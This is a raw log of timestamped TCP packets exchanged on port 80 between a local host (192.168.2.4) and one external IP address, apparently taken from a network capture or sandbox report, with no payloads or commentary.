Dec 24, 2024 22:27:00.160319090 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.160499096 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.160545111 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.161185980 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.161237001 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.161633015 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.161693096 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.162167072 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.162216902 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.162348986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.162405968 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.163237095 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.163286924 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.163696051 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.163742065 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.164148092 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.164199114 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.164567947 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.164618015 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.165060997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.165112972 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.165242910 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.165296078 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.165967941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.166021109 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.166098118 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.166156054 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.166949987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.166994095 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.167033911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.167084932 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.167848110 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.167897940 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.167978048 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.168025970 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.168925047 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.168977976 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.169327974 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.169374943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.169763088 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.169814110 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.170270920 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.170319080 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.170804024 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.170857906 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.170937061 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.170979977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.171684027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.171735048 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.171988010 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.172039032 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.172593117 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.172641993 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.173549891 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.173561096 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.173603058 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.173638105 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.173672915 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.227823973 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.227899075 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.228086948 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.228096008 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.228138924 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.228163958 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.228212118 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.229032040 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.229134083 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.229335070 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.229391098 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.229976892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.230027914 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.230180025 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.230227947 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.318720102 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.318905115 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.318984032 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.318994045 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.319003105 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.319072962 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.319891930 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.319951057 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.320105076 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.320166111 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.320846081 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.320898056 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.321012020 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.321060896 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.321507931 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.321558952 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.321588039 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.321639061 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.322448969 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.322500944 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.323308945 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.323363066 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.323474884 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.323486090 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.323529959 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.324538946 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.324551105 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.324594975 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.325339079 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.325388908 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.326023102 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.326075077 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.326237917 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.326287031 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.326800108 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.326852083 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.327224970 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.327281952 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.327419043 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.327467918 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.328170061 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.328222990 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.328499079 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.328551054 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.329127073 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.329189062 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.329407930 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.329458952 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.330073118 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.330126047 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.330775976 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.330828905 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.331129074 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.331140041 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.331181049 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.331965923 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.332019091 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.332629919 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.332680941 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.332910061 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.332962036 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.333580971 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.333627939 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.333893061 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.333905935 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.333944082 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.334803104 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.334852934 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.335278034 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.335330009 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.335773945 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.335824013 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.336312056 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.336360931 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.336746931 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.336759090 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.336801052 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.337696075 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.337707996 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.337749004 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.338604927 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.338653088 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.339040995 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.339090109 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.339540958 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.339670897 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.339699984 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.339720964 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.340488911 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.340538979 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.340841055 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.340888023 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.341480970 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.341491938 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.341528893 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.342391014 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.342434883 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.342664003 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.342711926 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.343381882 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.343393087 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.343434095 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.344341993 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.344389915 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.344610929 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.344656944 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.345279932 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.345330954 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.345530033 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.345575094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.346213102 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.346260071 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.346348047 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.346399069 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.347208023 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.347255945 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.347320080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.347392082 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.348102093 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.348148108 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.348408937 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.348454952 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.349081993 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.349131107 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.349328041 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.349383116 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.349999905 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.350049019 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.350244045 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.350296021 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.350960970 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.351008892 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.351428986 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.351475000 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.351887941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.351933956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.352178097 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.352226019 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.352850914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.352899075 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.353127956 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.353179932 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.353809118 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.353856087 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.353909016 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.353956938 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.354779959 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.354830027 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.354979038 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.355027914 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.355763912 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.355811119 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.355833054 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.355880022 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.356656075 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.356702089 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.356832027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.356877089 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.357587099 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.357639074 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.357780933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.357829094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.358551025 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.358606100 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.358736992 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.358786106 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.359504938 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.359566927 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.359738111 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.359795094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.360459089 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.360512972 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.360577106 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.360625029 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.361402988 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.361459970 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.361685991 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.361733913 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.362349987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.362399101 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.362488031 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.362538099 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.363301992 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.363354921 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.363473892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.363523006 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.364245892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.364301920 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.365148067 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.365195990 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.365235090 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.365279913 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.419907093 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.419959068 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.420356989 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.420367002 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.420394897 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.420588017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.420600891 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.420629978 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.420649052 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.421479940 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.421525002 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.422251940 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.422295094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.422384024 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.422416925 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.510936022 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.511017084 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.511100054 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.511336088 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.511388063 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.511482000 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.511537075 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.512420893 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.512494087 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.512496948 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.512543917 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.513236046 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.513289928 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.513608932 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.513659000 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.514167070 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.514218092 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.514384031 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.514434099 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.515111923 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.515161037 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.515633106 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.515681982 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.516058922 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.516105890 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.516535997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.516581059 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.517009020 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.517019987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.517055988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.517904997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.517952919 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.518088102 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.518131018 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.518846035 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.518887043 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.519026995 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.519072056 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.519793987 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.519838095 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.520741940 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.520752907 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.520791054 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.520873070 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.520917892 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.521637917 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.521684885 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.522073984 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.522119045 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.522591114 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.522635937 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.522789955 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.522835970 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.523535967 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.523581028 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.523973942 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.524023056 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:00.524514914 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.524524927 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:00.524557114 CET	49730	80	192.168.2.4	135.181.65.216
